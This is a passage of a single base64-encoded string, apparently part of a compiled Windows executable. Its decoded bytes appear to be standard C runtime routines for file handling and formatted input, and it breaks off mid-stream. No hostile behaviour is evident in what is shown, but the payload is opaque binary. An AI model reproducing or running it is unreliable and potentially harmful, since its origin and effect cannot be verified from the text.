URgPlMBdw1Yz9v+2BF5EAP8VCKJCAImGBF5EAIPGBIP+KHLmXsNqCGioLUQA6FTP////NehwRAD/FQyiQgCFwHQWg2X8AP/Q6wczwEDDi2Xox0X8/v///+gBAAAAzGoIaIgtRADoHM///+jY5v//i0B4hcB0FoNl/AD/0OsHM8BAw4tl6MdF/P7////oCNH//8zosOb//4tAfIXAdAL/0Om5////aLjOQQD/FQiiQgCj6HBEAMP/NfRwRAD/FQyiQgDDVYvsi0UIo+xwRACj8HBEAKP0cEQAo/hwRABdw2okaMgtRADom87//4Nl1ACDZdAAM9uJXeAz/4l92It1CIP+C39QdBWLxmoCWSvBdCIrwXQIK8F0XivBdUjoPub//4v4iX3Yhf91FoPI/+liAQAAx0Xk7HBEAKHscEQA617/d1xW6FEBAABZWYPACIlF5IsA61aLxoPoD3Q2g+gGdCNIdBLo1Z3//8cAFgAAAOgMsv//67THReT0cEQAofRwRADrGsdF5PBwRACh8HBEAOsMx0Xk+HBEAKH4cEQAM9tDiV3gUP8VDKJCAIlF3IP4AQ+E2wAAAIXAdQdqA+jeeP//hdt0CGoA6Av3//9Zg2X8AIP+CHQKg/4LdAWD/gR1HItHYIlF1INnYACD/gh1P4tHZIlF0MdHZIwAAACD/gh1LYsNoMhCAIvRiVXMoaTIQgADwTvQfSRrygyLR1yDZAgIAEKJVcyLDaDIQgDr3moA/xUIokIAi03kiQHHRfz+////6BgAAACD/gh1IP93ZFb/VdxZ6xqLdQiLXeCLfdiF23QIagDo1/f//1nDVv9V3FmD/gh0CoP+C3QFg/4EdRGLRdSJR2CD/gh1BotF0IlHZDPA6DLN///DVYvsi1UMiw2YyEIAVot1CDlyBHQNa8EMg8IMA0UMO9By7mvJDANNDDvRcwk5cgR1BIvC6wIzwF5dw1WL7ItFCKMAcUQAXcNqEGjoLUQA6JnM//8z/4l95GoB6N/1//9ZIX38agNeiXXgOzWknUQAfVOhoJ1EAIsEsIXAdET2QAyDdBBQ6H6Q//9Zg/j/dARHiX3kg/4UfCmhoJ1EAIsEsIPAIFD/FXSgQgChoJ1EAP80sOhJcf//WaGgnUQAgySwAEbrosdF/P7////oCwAAAIvH6FrM///Di33kagHoxvb//1nDahBoCC5EAOj8y///M/+JfeCJfeQzwIt1CIX2D5XAhcB1F+iZm///xwAWAAAA6NCv//+Dyv+LwusrVugpev//WYl9/FboMgAAAFmL+Il94IvaiV3kx0X8/v///+gTAAAAi8eL0+jky///w4t1CItd5It94FboXnr//1nDVYvsuCQQAADogHoAAKEIVEQAM8WJRfxTi10IVldT6OV8//8z/4vwWYm16O///zl7BH0DiXsEagFXV1bo0WUAAIPEEImF8O///4mV9O///zvXfxB8BDvHcwqDyP8L0OlhAwAAi8aLzsH4BYPhH8HhBomF7O///4mN3O///4s0hQhxRACKRA4kAsDQ+PdDDAgBAACIhfvv//+LhfDv//91HYtDBIuN8O///4u99O///5kryIvBG/qL1+kHAwAAizuL9ytzCPZDDAMPhJABAACAvfvv//8BD4VEAQAAi4Xs7///ixSFCHFEAIuF8O///4N8CjAAi5X07///D4QgAQAA0e6DewQAD4S5AgAAi5Xs7///i53o7///agCLBJUIcUQA/3QILP90CChT6ONkAACL+ImV5O///4uF7O///4PEEIm94O///4sMhQhxRACLhdzv//87fAEoD4X9/v//O1QBLA+F8/7//2oAjZXo7///UmgAEAAAjZX87///Uv80Af8VcKFCAIXAD4TN/v//i7307///i43w7///agBXUVPob2QAAIPEEIXSfw4PjKr+//+FwA+Cov7//4uF6O///zvwD4eU/v//jY387///hfZ0M4vRA9BOO8pzKooBPA11E41C/zvIcxiNQQGAOAp1EIvI6wwPtsAPvoDgXkQAA8hBhfZ10Y2F/O///zPSK8gDjeDv//+LwROV5O///+mlAQAAi5Xs7///iwSVCHFEAIuV9O////ZECASAi4Xw7///dBCLSwjrB4A5CnUBRkE7z3L1i8gLynUfi8Yz0ulmAQAA9kMMgHXr6NyY///HABYAAADp5f3///ZDDAEPhDEBAACDewQAdQcz9ukkAQAAi5Xs7///i43c7///K3sIA3sEiwSVCHFEAIuV9O////ZECASAi4Xw7///D4TeAAAAagJqAGoA/7Xo7///6EVjAACLjfDv//+DxBCJleTv//+LlfTv//87wXVMOZXk7///dUSLQwiDpeTv//8AA8eLyCtLCDtDCBvA99AjwYmF4O///3YZi0MIi43k7///gDgKdQFHQEE7jeDv//9y8PdDDAAgAADrX2oAUlH/tejv///o0WIAAIPEEIXSfw4PjAz9//+FwA+CBP3//7gAAgAAO/h3EfZDDAh0C/dDDAAEAACL+HQDi3sYi4Xs7///i43c7///i5X07///iwSFCHFEAPZECAQEi4Xw7///dAFHgL377///AXUC0e8rx4PaAImV9O///4C9++///wF1AtHuM9IDxhOV9O///4tN/F9eM81b6Klf//+L5V3DahRoKC5EAOisx///M/aJdeSLfQiD//51EOhSl///xwAJAAAA6bcAAACF/w+InwAAADs9+IxEAA+DkwAAAIvHwfgFiUXgi9+D4x/B4waLBIUIcUQAD75EAwSD4AF0clfo73r//1mJdfyLReCLBIUIcUQA9kQDBAF0KFfokX3//1lQ/xVsoUIAhcB1CP8VuKBCAIvwiXXkhfZ0GOidlv//iTDoypb//8cACQAAAIPO/4l15MdF/P7////oCgAAAIvG6yGLfQiLdeRX6Ct+//9Zw+iblv//xwAJAAAA6NKq//+DyP/oFcf//8NqEGhILkQA6MPG//8z24ld5It1CIP+/nUX6DWW//+JGOhilv//xwAJAAAA6bYAAACF9g+IlwAAADs1+IxEAA+DiwAAAIvewfsFi/6D5x/B5waLBJ0IcUQAD75EOASD4AF1Cujslf//gyAA62pW6Ph5//9Zg2X8AIsEnQhxRAD2RDgEAXQT/3UQ/3UMVuheAAAAg8QMi/jrFujqlf//xwAJAAAA6KuV//+DIACDz/+JfeTHRfz+////6AoAAACLx+soi3UIi33kVuhDff//WcPof5X//4kY6KyV///HAAkAAADo46n//4PI/+gmxv//w1WL7LjwGgAA6NN0AAChCFREADPFiUX8g6VE5f//AItFCItNDFYz9omFOOX//1cz/4mNMOX//4m1QOX//zl1EHUHM8DpDQgAAIXJdR/oE5X//yEw6ECV///HABYAAADod6n//4PI/+nqBwAAi9CLyMH6BYPhH8HhBomVKOX//1OLFJUIcUQAiY0k5f//ilwRJALb0PuA+wJ0BYD7AXUri0UQ99CoAXUc6LiU//8hMOjllP//xwAWAAAA6Byp///piAcAAIuFOOX///ZEEQQgdA9qAmoAagBQ6IRgAACDxBD/tTjl///oJl8AAFmFwA+EUAMAAIuFKOX//4uNJOX//4sEhQhxRAD2RAEEgA+EMgMAAOiL3P//M8mLQGw5iKgAAACNhRjl//9Qi4Uo5f//D5TBiY085f//i40k5f//iwSFCHFEAP80Af8VGKJCAIXAD4TuAgAAObU85f//dAiE2w+E3gIAAP8VaKFCAIuVMOX//zPJIY045f//iYUQ5f//iY005f//iZUs5f//OU0QD4aBBgAAi4Us5f//M9KJlUDl///HhRTl//8KAAAAIb085f//hNsPha4BAACKEDPAi40k5f//gPoKD5TAiYUY5f//i4Uo5f//iwSFCHFEAImFPOX//zl8ATh0HIpEATSIRfSLhTzl//+IVfVqAiF8ATiNRfRQ61oPvsJQ6NmN//9ZhcB0RIuFMOX//4uVLOX//yvCA0UQg/gBD4bbAQAAagJSjYU05f//UOhYYgAAg8QMg/j/D4QFAwAAi4Us5f//QP+FQOX//+smagH/tSzl//+NhTTl//9Q6CliAACDxAyD+P8PhNYCAACLhSzl//8zyUD/hUDl//9RUWoFiYUs5f//jUX0UGoBjYU05f//UFH/tRDl////FSiiQgCJhTzl//+FwA+ElQIAAGoAjY045f//UYuNJOX//1CNRfRQi4Uo5f//iwSFCHFEAP80Af8V9KFCAIXAD4RMAQAAi7VA5f//i41E5f//A/GLhTzl//85hTjl//8PjEkCAAA5vRjl//90S4uNJOX//42FOOX//2oAUGoBjUX0xkX0DVCLhSjl//+LBIUIcUQA/zQB/xX0oUIAhcAPhO0AAACDvTjl//8BD4z3AQAA/4VE5f//RouNNOX//+mGAAAAgPsBdAWA+wJ1Mw+3CDPSZjuNFOX//4mNNOX//w+UwoPAAomVPOX//4uVQOX//4PCAomFLOX//4mVQOX//4D7AXQFgPsCdUtR6NpwAABZi4005f//ZjvBdXWDxgI5vTzl//90ImoNWFCJhTTl///otHAAAFmLjTTl//9mO8F1T0b/hUTl//+LlUDl//+LhSzl//87VRAPgqn9///pRQEAAIudKOX//0aKAouVJOX//4sMnQhxRACIRAo0iwSdCHFEAMdEAjgBAAAA6RcBAAD/FbigQgCL+OkKAQAAi4Uo5f//iwyFCHFEAIuFJOX///ZECASAD4R1AwAAi5Uw5f//M/+JvTTl//+E2w+FDgEAAItdEImVOOX//4XbD4SNAwAAM8mNvfTr//+LwomNPOX//yuFMOX//zvDc0SKCkJAiI0f5f//gPkKiZU45f//i4085f//dQv/hUTl///GBw1HQYqVH+X//4gXR4uVOOX//0GJjTzl//+B+f8TAAByuIuNJOX//42F9Ov//yv4jYUg5f//agBQV42F9Ov//1CLhSjl//+LBIUIcUQA/zQB/xX0oUIAhcAPhBP///8DtSDl//85vSDl//98FouVOOX//4vCK4Uw5f//O8MPgkH///+LvTTl//+LjUTl//+F9g+F9QIAAIX/D4SsAgAAagVbO/sPhZgCAADoJZD//8cACQAAAOjmj///iRjpxgIAAIvKgPsCD4XqAAAAOXUQD4Z8AgAAx4UU5f//CgAAAIOlGOX//wCNnfTr//+LwWoNK8KLlRjl//9eO0UQczMPtzmDwAKDwQJmO70U5f//dRCDhUTl//8CZokzg8MCg8ICZok7g8ICg8MCgfr+EwAAcsiNhfTr//+JjTzl//+LjSTl//8r2GoAjYUg5f//UFONhfTr//9Qi4Uo5f//iwSFCHFEAP80Af8V9KFCAIu1QOX//4u9NOX//4XAD4Ty/f//A7Ug5f//ibVA5f//OZ0g5f//D4zx/v//i4085f//i8GLlTDl//8rwjtFEA+CLv///+nT/v//i10QiY045f//hdsPhIoBAADHhRTl//8KAAAAg6UY5f//AI2FSOX//4u9OOX//yvKi5UY5f//O8tzOw+3N4PBAoPHAom9OOX//2Y7tRTl//91EmoNX2aJOIPAAou9OOX//4PCAmaJMIPCAoPAAoH6qAYAAHLBM/aNjZzy//9WVmhVDQAAUY2NSOX//yvBmSvC0fhQi8FQVmjp/QAA/xUookIAi7VA5f//i7005f//iYU85f//hcAPhAD9//8zyYmNQOX//2oAK8GNlSDl//9SUI2FnPL//wPBi40k5f//UIuFKOX//4sEhQhxRAD/NAH/FfShQgCFwHQei41A5f//A40g5f//i4U85f//iY1A5f//O8F/r+sa/xW4oEIAi41A5f//i/iLhTzl//+JvTTl//87wQ+Pmv3//4uNOOX//4vxi5Uw5f//K/KJtUDl//878w+CxP7//+l3/f//agCNlSDl//9S/3UQ/7Uw5f///zQI/xX0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RADrBbkwXkQA9kEkgHQX6AJ8///HABYAAADoOZD//4vG6ZARAAD/dRCNjfz9///oSE///zPAi/CIhXn+//+LyIm1cP7//4oHibVg/v//iY0w/v//hMAPhEURAAAPtsBQ6MhzAABZhcB0UE6NhWD+//+JtWD+//+LtXT+//9WUOhDEQAAWVmD+P90CVZQ6CRxAABZWUcPtgdQ6I9zAABZhcB18Yu1YP7//4m9aP7//4m1cP7//+nxDwAAigdqJVk6wQ+FYQ8AADhPAQ+ETg8AAIu1aP7//zPJiY00/v//i/mIjU/+//+3AYmNQP7//4rZiY04/v//iY0s/v//iI1X/v//iI1W/v//iI16/v//iI1n/v//iI17/v//iY0k/v//Rg+2BomFSP7//w+2wFDoz3IAAFmFwHRti41I/v///4U4/v//a8cKjXnQA/iKpXr+//+KhXv+//+E23TEiL1m/v//i51c/v//ibVo/v//i7Vw/v//ib1s/v//hOQPhRwBAACLjRj+//+JjRT+//+DwQSJjRj+//+LUfyJlUj+///pAAEAAIuFSP7//4P4Tg+PlgAAAHSWg/gqdHyD+EZ0jIP4SXQQg/hMD4WLAAAA/sfpd////4pGATw2dSONTgKAOTR1G4vx/4Uk/v//g6U8/v//AIOlUP7//wDpTf///zwzdQ+NTgKAOTJ1B4vx6Tr///88ZA+EMv///zxpdHg8bw+EJv///zx4D4Qe////PFh1J+kV////iqV6/v///sSIpXr+///pCP///4P4aHQ7g/hsdAyD+Hd0GP7D6ez+//+NRgGAOGx1B4vw6Xf////+x4qFe/7///7AiIV7/v//iqV6/v//6c7+//+KhXv+///+z/7I6+OKhXv+///r4YOlSP7//wAyyYiNeP7//4uNaP7//4TAdRiKATxTdAvGhXv+////PEN1B8aFe/7//wEPtgmDySCJjVj+//+D+W50YYP5Y3Qmg/l7dCH/tXT+//+NhWD+//9Q6MsOAACLtWD+//9ZibVw/v//6xj/tXT+//9GibVw/v//ibVg/v//6NP7//+L2ImdXP7//1mD+/8PhBUOAACLjVj+//+KpXr+//+LlTj+//+F0nQIhf8PhOQNAACE5HVIg/ljdAqD+XN0BYP5e3U5i4UU/v//g8AEiYUU/v//i1D8g8AEiYUY/v//iZVI/v//i0D8iYUs/v//g/gBD4IhDQAAi5U4/v//g/lvD4/sBQAAD4QRCQAAg/ljD4QqBAAAg/lkD4T/CAAAD474BQAAg/lnfmGD+Wl0PoP5bg+F5QUAAIC9ev7//wCLxg+E7AsAAIu9aP7//4qFef7//4u1cP7///7AR4iFef7//4m9aP7//+mFDAAAamRfib1Y/v//g/stD4XRBgAAxoVW/v//AenKBgAAM/aD+y11C4uFRP7//0aIGOsFg/srdST/tXT+//9Pib1s/v//i71w/v//R+ia+v//i9hZiZ1c/v//6waLvXD+//+DvTj+//8AdQeDjWz+////D7bDUOh8bwAAWYuNbP7//4XAdGqLwUmJjWz+//+FwHRdi4VE/v///4VA/v//iBwGjYUo/v//UI2FfP7//0ZQjYVE/v//UI2FIP7//1BW6Kb5//+DxBSFwA+EbwwAAP+1dP7//0foD/r//4vYD7bDUImdXP7//+gKbwAAWeuLi4X8/f//i4CEAAAAiwCKAIiFV/7//zrDD4XgAAAAi8FJiY1s/v//hcAPhM8AAAD/tXT+//9H6MD5//+LjUT+//+L2IqFV/7//4mdXP7//4gEDo2FKP7//1CNhXz+//9GUI2FRP7//1CNhSD+//9QVugG+f//g8QYhcAPhM8LAAAPtsNQ6H5uAADrbouNbP7//4vBSYmNbP7//4XAdGCLhUT+////hUD+//+IHAaNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFboq/j//4PEFIXAD4R0CwAA/7V0/v//R+gU+f//i9gPtsNQiZ1c/v//6A9uAABZWYXAdY2DvUD+//8AD4RjAQAAg/tldAmD+0UPhVUBAACLjWz+//+LwUmJjWz+//+FwA+EPgEAAIuFRP7//8YEBmWNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFboHvj//4PEFIXAD4TnCgAA/7V0/v//R+iH+P//i9iJnVz+//9Zg/stdTmLhUT+//+IHAaNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFbozff//4PEFIXAD4SWCgAA6wWD+yt1MIuNbP7//4vBSYmNbP7//4XAdQghhWz+///rFf+1dP7//0foFPj//4vYWYmdXP7//w+2w1DoDm0AAOtui41s/v//i8FJiY1s/v//hcB0YIuFRP7///+FQP7//4gcBo2FKP7//1CNhXz+//9GUI2FRP7//1CNhSD+//9QVug79///g8QUhcAPhAQKAAD/tXT+//9H6KT3//+L2A+2w1CJnVz+///on2wAAFlZhcB1jU+JvXD+//+JvWD+//+D+/90Dv+1dP7//1PoL2oAAFlZg71A/v//AA+EtAkAAIC9ev7//wAPhUX8//+LhUT+//+Njfz9////hTD+//9Ri41I/v//UMYEBgAPvoVm/v//UUhQ/zUgXkQA/xUMokIA/9CDxBDpB/z//4XSdRFHx4U4/v//AQAAAIm9bP7//4qFe/7//4TAfgfGhWf+//8Bi41w/v//i7VI/v//SYmNcP7//4mNYP7//4P7/3QU/7V0/v//U+iFaQAAWVmLjXD+//+LvVj+//+D/2N0Bv+NLP7//4O9OP7//wB0F4uVbP7//4vCSomVbP7//4XAD4QDBAAA/7V0/v//QYmNcP7//4mNYP7//+h09v//i9iJnVz+//9Zg/v/D4SzAwAAg/9jdEaD/3N1E4P7CXwJg/sND46bAwAAg/sgdS6D/3sPhY0DAAAz0ovDwfgDi8uD4QdC0+IPvkwF3A++hVf+//8zyIXRD4RoAwAAgL16/v//AA+FTwMAAIuFLP7//4XAD4QACAAAgL1n/v//AA+EHAMAAA+2w1CInRz+///oT23//1mFwHQli4Vw/v///7V0/v//QImFcP7//4mFYP7//+i99f//WYiFHf7//42F/P3//8eFEP7//z8AAABQi4X8/f///3B0jYUc/v//UI2FEP7//1DosEAAAIuVSP7//4PEEGaLhRD+//9miQKDwgL/jSz+//+JlUj+///pqAIAAIvBg+hwD4QZAwAAg+gDD4RO/v//SEgPhA8DAACD6AMPhF76//+D6AN0N4u9aP7//w+2BzvDD4UMBwAAioV5/v///siAvXr+//8AD4UQ+v//i5UU/v//iZUY/v//6f/5//+KhXv+//+EwH4HxoVn/v//AYu1aP7//0aAPl51CEbGhVf+////aiCNRdxqAFDo1zsAAIPEDIA+XXUJsl3GRecgRusGipVP/v//ig6A+V0PhJQAAABGgPktdV6E0nRaigY8XXRURom1aP7//zrQcwSK4OsEiuKK0DrUcyaKxA+28irCD7b4i9aLzsHqA4PhB7AB0uAIRBXcRk916ou1aP7//w+2zLABi9GD4QfB6gPS4AhEFdwy0usfiI1P/v//sAEPtsmL0YPhB8HqA9LgCEQV3IqVT/7//4oOgPldD4Vy////i51c/v//gD4AD4RkBgAAibVo/v//6Rb9//+D+yt1P4u9bP7//0+JvWz+//91DYXSdAnGhXj+//8B6yn/tXT+//9GibVw/v//ibVg/v//6Mzz//+L2FmJnVz+///rBou9bP7//4P7MA+FwAEAAP+1dP7//0aJtXD+//+JtWD+///omvP//4vYiZ1c/v//WYD7eHR0gPtYdG+LjVj+///HhUD+//8BAAAAg/l4dCaDvTj+//8AdA9Pib1s/v//dQb+hXj+//9qb1mJjVj+///pYAEAAE6JtXD+//+JtWD+//+D+/90FP+1dP7//1Po7mUAAFlZi41Y/v//ajBbiZ1c/v//6SwBAAD/tXT+//9GibVw/v//ibVg/v//6ADz//+DvTj+//8Ai9hZiZ1c/v//dBSD7wKJvWz+//+D/wF9Bv6FeP7//2p46Xv///+LjUj+//+IGUFIiY1I/v//iYUs/v//6wFGi41w/v//6QP8//+LhXD+//9IiYVw/v//iYVg/v//g/v/dA7/tXT+//9T6EtlAABZWYuFSP7//zvwD4TPBAAAgL16/v//AA+FYPf///+FMP7//4P/Yw+EUff//4C9Z/7//wCLvWj+//90CjPJZokI6T73///GAADpNv